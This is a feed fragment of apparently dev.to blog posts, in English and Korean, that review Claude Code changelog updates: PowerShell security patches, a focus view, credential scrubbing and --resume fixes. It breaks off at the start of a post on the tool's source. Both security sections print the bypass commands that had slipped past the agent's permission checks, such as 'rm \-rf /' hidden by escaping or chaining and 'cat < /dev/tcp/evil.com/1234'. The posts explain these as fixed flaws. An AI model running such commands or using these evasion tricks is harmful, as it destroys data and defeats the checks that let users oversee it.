&lt;span class="c"&gt;# Install WSL, or install Git Bash, or give up&lt;/span&gt;

&lt;span class="c"&gt;# After: It just works&lt;/span&gt;
claude&amp;gt; &lt;span class="s2"&gt;"Run the build script for this project"&lt;/span&gt;
&lt;span class="c"&gt;# PowerShell tool handles it natively&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What makes the PowerShell tool interesting isn't the feature itself — it's &lt;strong&gt;how deep the security work goes&lt;/strong&gt;. In 2.1.90 alone, four PowerShell security patches landed. A trailing &lt;code&gt;&amp;amp;&lt;/code&gt; background job bypass, a &lt;code&gt;-ErrorAction Break&lt;/code&gt; debugger hang, an archive extraction TOCTOU attack, and a parse-failure fallback degrading deny rules. Every one of these is a real attack vector.&lt;/p&gt;

&lt;p&gt;In Unreal Engine, you see the same pattern. The editor keeps absorbing features — live coding, hot reload, in-editor testing — and every new capability creates a new attack surface. Plugging the holes is always harder than building the feature.&lt;/p&gt;

&lt;p&gt;In 2.1.89, &lt;code&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt; was introduced. The name is modest, but the impact is significant. It brings alt-screen rendering with virtualized scrollback, eliminating the screen flickering that plagued terminal updates. In game terms, this is like switching on double buffering. Screen tearing disappears, and the tool starts feeling like an &lt;strong&gt;environment&lt;/strong&gt; rather than a utility.&lt;/p&gt;

&lt;p&gt;2.1.97 built on top of this with a focus view (&lt;code&gt;Ctrl+O&lt;/code&gt;). It shows just the prompt, a one-line tool summary with edit diffstats, and the final response. In long sessions, you can skip the noise and see results only.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Ctrl+O enters focus view&lt;/span&gt;
&lt;span class="c"&gt;# What you see: your prompt → one-line tool summary → final answer&lt;/span&gt;
&lt;span class="c"&gt;# What you don't see: 20 files read, 5 greps, 3 dead ends&lt;/span&gt;

&lt;span class="c"&gt;# '/' opens transcript search&lt;/span&gt;
&lt;span class="c"&gt;# 'n'/'N' to step through matches&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Transcript search (&lt;code&gt;/&lt;/code&gt; → &lt;code&gt;n&lt;/code&gt;/&lt;code&gt;N&lt;/code&gt;) in 2.1.83. &lt;code&gt;/powerup&lt;/code&gt; for interactive feature tutorials in 2.1.90. &lt;code&gt;/team-onboarding&lt;/code&gt; for auto-generating teammate ramp-up guides in 2.1.101. They all point the same way.&lt;/p&gt;

&lt;p&gt;Writing code, searching, learning, sharing with the team — all without leaving the terminal. It's picking up what IDEs do, one piece at a time. The key is that it's not getting heavier like an IDE. It keeps the terminal's lightness while layering on just enough. If that balance breaks, people will just use VS Code. So far, the balance holds.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bash Permission Bypass — How Fast the Holes Get Plugged
&lt;/h2&gt;

&lt;p&gt;Claude Code's auto mode is powerful. It reads files, edits them, and runs commands without per-action approval. But powerful means dangerous.&lt;/p&gt;

&lt;p&gt;In 2.1.98 alone, four Bash tool security fixes shipped.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fix 1: Backslash-escaping flags to disguise them&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="se"&gt;\-&lt;/span&gt;rf /  &lt;span class="c"&gt;# This was auto-allowed as read-only&lt;/span&gt;

&lt;span class="c"&gt;# Fix 2: Compound commands bypassing forced prompts&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /  &lt;span class="c"&gt;# ls is safe, so the whole thing passed&lt;/span&gt;

&lt;span class="c"&gt;# Fix 3: Env-var prefix bypass&lt;/span&gt;
&lt;span class="nv"&gt;HARMLESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 dangerous-command  &lt;span class="c"&gt;# Prefix present = no check&lt;/span&gt;

&lt;span class="c"&gt;# Fix 4: /dev/tcp network redirect&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &amp;lt; /dev/tcp/evil.com/1234  &lt;span class="c"&gt;# This was auto-allowed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you've dealt with game server security, these patterns are familiar. When you parse packets from clients, testing only well-formed packets makes everything look fine. But someone crafts malformed bytes and the server crumbles. Defense isn't about allowing valid input — it's about &lt;strong&gt;rejecting everything that isn't&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The Claude Code team is patching fast, which is a good sign. In 2.1.101, they fixed a command injection vulnerability in the POSIX &lt;code&gt;which&lt;/code&gt; fallback used for LSP binary detection. That's either from an external exploit report or an internal security audit.&lt;/p&gt;

&lt;p&gt;2.1.89 also fixed auto mode ignoring explicit user instructions. Telling it "don't push" and it pushes anyway. Telling it "wait for X before Y" and it runs Y immediately. As auto mode's permissions expand, &lt;strong&gt;how precisely it follows user intent&lt;/strong&gt; becomes as important as technical security.&lt;/p&gt;

&lt;p&gt;2.1.98 introduced &lt;code&gt;CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1&lt;/code&gt;. When enabled, it strips Anthropic and cloud provider credentials from subprocess environments — Bash tool, hooks, MCP stdio servers. Subprocesses can no longer access &lt;code&gt;$ANTHROPIC_API_KEY&lt;/code&gt; and similar variables.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# With CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1&lt;/span&gt;
&lt;span class="c"&gt;# Every command run by the Bash tool has these stripped:&lt;/span&gt;
&lt;span class="c"&gt;# ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, etc.&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ANTHROPIC_API_KEY&lt;/span&gt;  &lt;span class="c"&gt;# empty&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is process isolation — the same pattern as separating game logic from auth services on game servers. If one process gets compromised, it can't reach the other.&lt;/p&gt;

&lt;p&gt;The volume and speed of security patches tell you something: the Claude Code team treats this tool as &lt;strong&gt;production infrastructure&lt;/strong&gt;. Hobby projects don't get this level of security hardening.&lt;/p&gt;

&lt;h2&gt;
  
  
  --resume Is Finally Starting to Work
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;--resume&lt;/code&gt; continues a previous session. Sounds simple. In practice, it was &lt;strong&gt;the most consistently broken feature&lt;/strong&gt; in Claude Code.&lt;/p&gt;

&lt;p&gt;A regression appeared in 2.1.69. Users with deferred tools, MCP servers, or custom agents would hit a full prompt cache miss on the first request after resuming. This wasn't fixed until 2.1.90. Cache misses for 20 versions.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before (2.1.69~2.1.89)&lt;/span&gt;
claude &lt;span class="nt"&gt;--resume&lt;/span&gt;
&lt;span class="c"&gt;# → Full prompt cache miss on first request&lt;/span&gt;
&lt;span class="c"&gt;# → Entire context retransmitted&lt;/span&gt;
&lt;span class="c"&gt;# → Slow, wasteful&lt;/span&gt;

&lt;span class="c"&gt;# After (2.1.90+)&lt;/span&gt;
claude &lt;span class="nt"&gt;--resume&lt;/span&gt;
&lt;span class="c"&gt;# → Cache hit&lt;/span&gt;
&lt;span class="c"&gt;# → Picks up right where you left off&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But that was just the start. The list of resume-related fixes across subsequent versions shows how deep this problem goes.&lt;/p&gt;

&lt;p&gt;In 2.1.101, the loader anchoring on a dead-end branch in large sessions — losing conversation context entirely — was fixed. Resume chain recovery bridging into an unrelated subagent conversation was also fixed. The session history is stored as a tree structure, and these bugs meant following the wrong node.&lt;/p&gt;

&lt;p&gt;Game developers will instantly recognize why this is hard. Save/load is one of the buggiest systems in any game. The state is large, dependencies between states are complex, and the format evolves over time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Save file format changes → old saves fail to load
Session transcript format changes → old sessions fail to resume
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In 2.1.86, sessions created before v2.1.85 couldn't be resumed due to "tool_use ids were found without tool_result blocks." Classic save format compatibility issue.&lt;/p&gt;

&lt;p&gt;In 2.1.97, cache misses during resume, messages typed mid-turn not being saved to the transcript, and file edit diffs disappearing after resume (for files larger than 10KB) were all fixed.&lt;/p&gt;

&lt;p&gt;Why does resume break so often? Because a Claude Code session isn't a simple chat log. Tool call results, file edit history, MCP server state, subagent context — they're all interleaved. Serializing and deserializing that mess produces endless edge cases.&lt;/p&gt;

&lt;p&gt;The direction is right, though. In 2.1.101, &lt;code&gt;claude -p --resume &amp;lt;n&amp;gt;&lt;/code&gt; gained support for session titles set via &lt;code&gt;/rename&lt;/code&gt; or &lt;code&gt;--name&lt;/code&gt;. In 2.1.90, the resume picker started loading all project sessions in parallel for faster load times. Features and stability are advancing together.&lt;/p&gt;

&lt;p&gt;Stable session continuity means Claude Code transitions from a "use once and discard" tool to &lt;strong&gt;an environment that maintains working context&lt;/strong&gt;. In game terms, it's going from a roguelike with no saves to an RPG where your progress persists. Completely different experience.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Two Weeks of Updates Tell You
&lt;/h2&gt;

&lt;p&gt;Read each of the 10 updates line by line and they look like a list of individual bug fixes. Step back and look at the whole picture, and you can see where Claude Code is heading.&lt;/p&gt;

&lt;p&gt;It's making the terminal capable of more without leaving it. It's tightening security layers proportionally as permissions expand. And it's using session continuity to shift from "tool" to "environment."&lt;/p&gt;

&lt;p&gt;To a game developer's eye, this looks like a live-service stabilization phase. Features keep shipping, but foundational infrastructure — stability and security — is being pulled up simultaneously. Get through this phase well and the tool becomes genuinely production-grade.&lt;/p&gt;

&lt;p&gt;Ten updates in two weeks. As long as this pace holds, the Claude Code you used yesterday is not the Claude Code you're using today.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The length of the changelog is the stamina of the tool."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
      <category>developertools</category>
      <category>terminal</category>
    </item>
    <item>
      <title>Claude Code가 10번 업데이트되는 동안 바뀐 것들</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Sun, 12 Apr 2026 17:06:24 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/claude-codega-10beon-eobdeiteudoeneun-dongan-baggwin-geosdeul-5923</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/claude-codega-10beon-eobdeiteudoeneun-dongan-baggwin-geosdeul-5923</guid>
      <description>&lt;p&gt;더 많은 글은 &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;에서.&lt;/p&gt;




&lt;p&gt;3월 29일부터 4월 10일까지. 영업일 기준 10일.&lt;/p&gt;

&lt;p&gt;Claude Code가 그 사이에 10번 업데이트됐다. 2.1.89, 2.1.90, 2.1.91, 2.1.92, 2.1.94, 2.1.96, 2.1.97, 2.1.98, 2.1.101. 중간에 핫픽스 전용 버전까지 합치면 더 많다.&lt;/p&gt;

&lt;p&gt;게임 업계에서 라이브 서비스 핫픽스를 치는 속도가 딱 이 정도다. 신규 콘텐츠 패치 사이에 크래시 수정, 익스플로잇 차단, 밸런스 조정이 밤새 올라온다. Claude Code도 지금 그 페이즈에 있다.&lt;/p&gt;

&lt;p&gt;체인지로그를 하나하나 읽을 사람은 없다. 그래서 이 2주 치를 통째로 놓고 봤다. 세 가지 방향이 보인다.&lt;/p&gt;

&lt;h2&gt;
  
  
  터미널이 IDE가 되고 있다
&lt;/h2&gt;

&lt;p&gt;Claude Code의 정체성은 "터미널에서 돌아가는 AI 코딩 도구"다. 근데 최근 업데이트를 보면, 이게 단순히 터미널에 붙은 AI가 아니라 &lt;strong&gt;터미널 자체를 IDE로 만들려는 시도&lt;/strong&gt;에 가깝다.&lt;/p&gt;

&lt;p&gt;2.1.84에서 Windows용 PowerShell 도구가 프리뷰로 들어왔다. 기존에는 Bash 도구만 있었는데, 이제 Windows 네이티브 환경에서도 별도 설정 없이 명령어를 실행할 수 있다. PowerShell 5.1과 7+에 따라 다른 문법 가이드를 보여주는 것까지 넣었다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 이전: Windows에서 Claude Code 쓰려면&lt;/span&gt;
&lt;span class="c"&gt;# WSL 설치하거나, Git Bash 깔거나, 포기하거나&lt;/span&gt;

&lt;span class="c"&gt;# 이후: 그냥 된다&lt;/span&gt;
claude&amp;gt; &lt;span class="s2"&gt;"이 프로젝트의 빌드 스크립트 실행해줘"&lt;/span&gt;
&lt;span class="c"&gt;# PowerShell 도구가 네이티브로 처리&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;그런데 PowerShell 도구가 흥미로운 건 기능 자체보다 &lt;strong&gt;보안 처리의 깊이&lt;/strong&gt; 때문이다. 2.1.90에서만 PowerShell 관련 보안 패치가 4건 들어갔다. 트레일링 &lt;code&gt;&amp;amp;&lt;/code&gt;로 백그라운드 잡을 띄워서 권한 체크를 우회하는 것, &lt;code&gt;-ErrorAction Break&lt;/code&gt;로 디버거를 걸어버리는 것, 아카이브 추출 시 TOCTOU 공격, 파싱 실패 시 deny 룰이 풀리는 것. 하나하나가 실제 공격 벡터다.&lt;/p&gt;

&lt;p&gt;UE5에서도 에디터 안에 온갖 기능을 넣으면서 비슷한 일이 벌어진다. 에디터에서 바로 라이브 코딩을 할 수 있게 했더니, 그 경로로 메모리 변조가 가능해지고, 결국 보안 레이어를 하나 더 얹게 된다. 기능을 넣는 것보다 그 기능이 만드는 새로운 공격 표면을 막는 게 더 어렵다.&lt;/p&gt;

&lt;p&gt;2.1.89에서 &lt;code&gt;CLAUDE_CODE_NO_FLICKER=1&lt;/code&gt; 환경변수가 추가됐다. 이름은 소박하지만, 이게 가져온 변화가 크다. 기존에는 터미널 화면이 갱신될 때마다 깜빡임이 있었는데, alt-screen 렌더링과 가상 스크롤백을 도입해서 이걸 없앤 거다. 게임으로 치면 더블 버퍼링을 켠 것과 같다. 화면 테어링이 사라지니까 도구가 아니라 &lt;strong&gt;환경&lt;/strong&gt;처럼 느껴지기 시작한다.&lt;/p&gt;

&lt;p&gt;2.1.97에서는 이 NO_FLICKER 모드 위에 포커스 뷰(&lt;code&gt;Ctrl+O&lt;/code&gt;)가 올라왔다. 프롬프트, 도구 요약(편집 diffstat 포함), 최종 응답만 보여주는 화면이다. 긴 세션에서 중간 과정을 다 볼 필요 없이 결과만 확인할 수 있다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Ctrl+O로 포커스 뷰 진입
# 보이는 것: 내 프롬프트 → 도구 요약 한 줄 → 최종 응답
# 안 보이는 것: 중간에 Claude가 읽은 파일 20개, grep 5번, 시행착오 3번

# '/' 누르면 트랜스크립트 검색
# 'n'/'N'으로 매치 이동
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.1.83에서 트랜스크립트 검색(&lt;code&gt;/&lt;/code&gt; → &lt;code&gt;n&lt;/code&gt;/&lt;code&gt;N&lt;/code&gt;)이 추가된 것, 2.1.90에서 &lt;code&gt;/powerup&lt;/code&gt; 커맨드(기능 학습 인터랙티브 데모)가 들어간 것, 2.1.101에서 &lt;code&gt;/team-onboarding&lt;/code&gt;(팀원 온보딩 가이드 자동 생성)이 추가된 것. 전부 같은 방향을 가리킨다.&lt;/p&gt;

&lt;p&gt;터미널 안에서 코드를 짜고, 검색하고, 학습하고, 팀에 공유하는 것까지. IDE가 하는 일을 하나씩 가져오고 있다. 다만 IDE처럼 무거워지는 게 아니라, 터미널의 가벼움은 유지하면서 필요한 것만 올려놓는다. 이 균형이 깨지면 그냥 VS Code를 쓰면 된다. 아직은 균형이 잡혀 있다.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bash 권한 우회 — 구멍이 막히는 속도
&lt;/h2&gt;

&lt;p&gt;Claude Code의 auto 모드는 강력하다. 사용자가 하나하나 승인하지 않아도 파일을 읽고, 수정하고, 명령어를 실행한다. 근데 강력하다는 건 위험하다는 뜻이기도 하다.&lt;/p&gt;

&lt;p&gt;2.1.98 하나에서만 Bash 도구 관련 보안 수정이 4건 들어갔다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 수정 1: 백슬래시 이스케이프로 플래그를 위장&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="se"&gt;\-&lt;/span&gt;rf /  &lt;span class="c"&gt;# 이게 read-only로 auto-allow 됐다&lt;/span&gt;

&lt;span class="c"&gt;# 수정 2: 복합 명령어로 강제 프롬프트 우회&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-rf&lt;/span&gt; /  &lt;span class="c"&gt;# ls가 안전하니까 전체가 통과&lt;/span&gt;

&lt;span class="c"&gt;# 수정 3: 환경변수 프리픽스로 우회&lt;/span&gt;
&lt;span class="nv"&gt;HARMLESS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1 dangerous-command  &lt;span class="c"&gt;# 프리픽스가 있으면 체크 안 함&lt;/span&gt;

&lt;span class="c"&gt;# 수정 4: /dev/tcp로 네트워크 리다이렉트&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &amp;lt; /dev/tcp/evil.com/1234  &lt;span class="c"&gt;# 이게 auto-allow 됐다&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;게임 서버 보안을 다뤄본 사람이면 이 패턴이 익숙할 거다. 클라이언트가 보내는 패킷을 파싱할 때, 정상적인 패킷만 테스트하면 괜찮아 보인다. 근데 누군가 패킷 바이트를 조작해서 보내면 서버가 뚫린다. 방어의 핵심은 "정상 입력을 허용하는 것"이 아니라 &lt;strong&gt;"비정상 입력을 전부 거부하는 것"&lt;/strong&gt;이다.&lt;/p&gt;

&lt;p&gt;Claude Code 팀이 이걸 빠르게 치고 있다는 건 좋은 신호다. 2.1.101에서는 LSP 바이너리 감지에 쓰이는 POSIX &lt;code&gt;which&lt;/code&gt; 폴백에서 커맨드 인젝션 취약점까지 수정했다. 이건 직접 익스플로잇 리포트가 들어왔거나, 내부 보안 감사에서 잡힌 거다.&lt;/p&gt;

&lt;p&gt;2.1.89에서는 auto 모드가 사용자의 명시적 지시를 무시하는 버그도 수정됐다. "push 하지 마"라고 했는데 push를 하거나, "X 전에 Y를 기다려"라고 했는데 바로 Y를 실행하는 문제. auto 모드의 권한이 커질수록 &lt;strong&gt;사용자의 지시를 얼마나 정확하게 따르는지&lt;/strong&gt;가 보안만큼 중요해진다.&lt;/p&gt;

&lt;p&gt;2.1.98에서 &lt;code&gt;CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1&lt;/code&gt;도 추가됐다. 이걸 켜면 Bash 도구, 훅, MCP stdio 서버의 서브프로세스 환경에서 Anthropic 및 클라우드 프로바이더 자격증명이 제거된다. 서브프로세스가 &lt;code&gt;$ANTHROPIC_API_KEY&lt;/code&gt; 같은 환경변수에 접근할 수 없게 되는 것이다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1 설정 시&lt;/span&gt;
&lt;span class="c"&gt;# Bash 도구에서 실행되는 모든 명령어의 환경에서&lt;/span&gt;
&lt;span class="c"&gt;# ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY 등이 제거됨&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ANTHROPIC_API_KEY&lt;/span&gt;  &lt;span class="c"&gt;# 빈 값&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;이건 게임 서버에서 게임 로직 프로세스와 인증 프로세스를 분리하는 것과 같은 패턴이다. 프로세스 격리. 하나가 뚫려도 다른 하나에 접근할 수 없게 만든다.&lt;/p&gt;

&lt;p&gt;보안 패치의 양과 속도를 보면, Claude Code 팀이 이 도구를 &lt;strong&gt;프로덕션 환경에서 쓰이는 도구&lt;/strong&gt;로 취급하고 있다는 게 느껴진다. 취미 프로젝트라면 이 정도로 빡빡하게 보안을 조일 필요가 없다.&lt;/p&gt;

&lt;h2&gt;
  
  
  --resume가 진짜 되기 시작했다
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;--resume&lt;/code&gt;는 이전 세션을 이어서 작업하는 기능이다. 간단해 보이지만, 실제로는 Claude Code에서 &lt;strong&gt;가장 많이 깨지는 기능&lt;/strong&gt;이었다.&lt;/p&gt;

&lt;p&gt;2.1.69에서 리그레션이 생겼다. deferred tools, MCP 서버, 커스텀 에이전트를 쓰는 사용자가 &lt;code&gt;--resume&lt;/code&gt;로 세션을 재개하면 첫 요청에서 프롬프트 캐시를 통째로 못 쓰게 되는 버그. 이게 2.1.90에서야 수정됐다. 20개 버전 동안 캐시 미스가 발생하고 있었던 거다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before (2.1.69~2.1.89)&lt;/span&gt;
claude &lt;span class="nt"&gt;--resume&lt;/span&gt;
&lt;span class="c"&gt;# → 첫 요청에서 프롬프트 캐시 미스&lt;/span&gt;
&lt;span class="c"&gt;# → 전체 컨텍스트를 다시 전송&lt;/span&gt;
&lt;span class="c"&gt;# → 느리고, 토큰 낭비&lt;/span&gt;

&lt;span class="c"&gt;# After (2.1.90~)&lt;/span&gt;
claude &lt;span class="nt"&gt;--resume&lt;/span&gt;
&lt;span class="c"&gt;# → 캐시 히트&lt;/span&gt;
&lt;span class="c"&gt;# → 바로 이어서 작업&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;그런데 이건 시작일 뿐이었다. 이후 버전에서 나온 resume 관련 수정 목록을 보면 얼마나 복잡한 문제인지 알 수 있다.&lt;/p&gt;

&lt;p&gt;2.1.101에서는 대형 세션에서 로더가 dead-end 브랜치에 앵커링되면서 대화 컨텍스트가 유실되는 문제가 수정됐다. resume chain recovery가 무관한 서브에이전트 대화로 브릿지되는 문제도 수정됐다. 이건 세션 히스토리가 트리 구조로 저장되는데, 그 트리에서 잘못된 노드를 따라가는 버그다.&lt;/p&gt;

&lt;p&gt;게임 개발자라면 이게 왜 어려운지 바로 감이 올 거다. 게임에서 세이브/로드는 가장 버그가 많은 시스템 중 하나다. 상태가 많고, 그 상태들 사이의 의존관계가 복잡하고, 시간에 따라 포맷이 바뀐다.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;세이브 파일 구조가 바뀜 → 이전 세이브 로드 실패
세션 트랜스크립트 포맷이 바뀜 → 이전 세션 resume 실패
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;2.1.86에서 "tool_use ids were found without tool_result blocks" 에러로 2.1.85 이전에 생성된 세션을 resume 할 수 없는 문제가 수정됐다. 정확히 세이브 포맷 호환성 문제다.&lt;/p&gt;

&lt;p&gt;2.1.97에서는 resume 중에 캐시 미스가 발생하는 문제, 중간에 입력한 메시지가 트랜스크립트에 저장되지 않는 문제, 파일 편집 diff가 resume 후에 사라지는 문제(편집된 파일이 10KB 이상일 때)가 수정됐다.&lt;/p&gt;

&lt;p&gt;2.1.101에서는 &lt;code&gt;/resume&lt;/code&gt; 피커의 여러 문제도 수정됐다. 다른 프로젝트의 세션이 보이지 않는 좁은 기본 뷰, Windows Terminal에서 미리보기가 닿지 않는 문제, worktree에서 잘못된 cwd가 표시되는 문제, 세션을 못 찾았을 때 에러가 stderr에 뜨지 않는 문제까지.&lt;/p&gt;

&lt;p&gt;왜 이렇게 resume이 많이 깨지느냐. Claude Code 세션은 단순한 채팅 로그가 아니기 때문이다. 도구 호출 결과, 파일 편집 히스토리, MCP 서버 상태, 서브에이전트 컨텍스트가 전부 얽혀 있다. 이걸 직렬화했다가 역직렬화하는 과정에서 엣지 케이스가 끝없이 나온다.&lt;/p&gt;

&lt;p&gt;그래도 방향은 맞다. 2.1.101에서 &lt;code&gt;claude -p --resume &amp;lt;n&amp;gt;&lt;/code&gt;이 &lt;code&gt;/rename&lt;/code&gt;이나 &lt;code&gt;--name&lt;/code&gt;으로 설정한 세션 제목을 받을 수 있게 된 것, 2.1.90에서 전체 프로젝트 세션을 병렬로 로드해서 resume 피커 속도를 올린 것. 기능을 추가하면서 동시에 안정성을 올리고 있다.&lt;/p&gt;

&lt;p&gt;세션이 안정적으로 이어진다는 건, Claude Code가 "한 번 쓰고 버리는 도구"에서 &lt;strong&gt;"작업 컨텍스트를 유지하는 환경"&lt;/strong&gt;으로 바뀐다는 뜻이다. 게임으로 치면 세이브가 안 되는 로그라이크에서 세이브가 되는 RPG로 전환하는 것과 같다. 전혀 다른 경험이 된다.&lt;/p&gt;

&lt;h2&gt;
  
  
  2주간의 업데이트가 말하는 것
&lt;/h2&gt;

&lt;p&gt;최근 10번의 업데이트를 한 줄씩 읽으면 개별 버그 수정의 나열처럼 보인다. 근데 한 발 물러서서 전체를 보면, Claude Code가 어디로 가고 있는지가 보인다.&lt;/p&gt;

&lt;p&gt;터미널을 벗어나지 않으면서 더 많은 일을 할 수 있게 만들고 있다. 동시에 권한이 커지는 만큼 보안 레이어를 빡빡하게 조이고 있다. 그리고 세션 연속성을 통해 "도구"에서 "환경"으로의 전환을 시도하고 있다.&lt;/p&gt;

&lt;p&gt;게임 개발자 눈에는 이게 라이브 서비스 안정화 페이즈로 보인다. 기능은 계속 넣되, 기반 인프라의 안정성과 보안을 동시에 끌어올리는 시기. 이 페이즈를 잘 넘기면 도구가 진짜 프로덕션급이 된다.&lt;/p&gt;

&lt;p&gt;2주에 10번. 이 속도가 유지되는 한, Claude Code는 어제 쓴 것과 오늘 쓰는 것이 다른 도구가 된다.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"체인지로그의 길이가 곧 도구의 체력이다."&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>ai</category>
      <category>claudecode</category>
    </item>
    <item>
      <title>I Tore Apart the Claude Code Source Code 3/3</title>
      <dc:creator>김이더</dc:creator>
      <pubDate>Tue, 31 Mar 2026 23:55:22 +0000</pubDate>
      <link>https://dev.to/_53fb7c03dd741a6124e4e/i-tore-apart-the-claude-code-source-code-33-2jb1</link>
      <guid>https://dev.to/_53fb7c03dd741a6124e4e/i-tore-apart-the-claude-code-source-code-33-2jb1</guid>
      <description>&lt;p&gt;More posts at &lt;a href="https://radarlog.kr" rel="noopener noreferrer"&gt;radarlog.kr&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;The most surprising thing I found digging through Claude Code's source wasn't a tool or an architecture pattern. It was opening the &lt;code&gt;buddy/&lt;/code&gt; folder.&lt;/p&gt;

&lt;p&gt;There's a virtual pet system. It works like a gacha game. Five rarity tiers. Eighteen species.&lt;/p&gt;

&lt;h2&gt;
  
  
  Buddy — A Gacha Virtual Pet Inside a Coding Agent
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;src/buddy/&lt;/code&gt; directory. Five files, 79KB. Gated behind the &lt;code&gt;BUDDY&lt;/code&gt; feature flag, so it's not publicly available yet. But the implementation is complete.&lt;/p&gt;

&lt;p&gt;Characters are generated deterministically from the userId as a seed. Same user always gets the same character. The PRNG is &lt;strong&gt;Mulberry32&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;mulberry32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
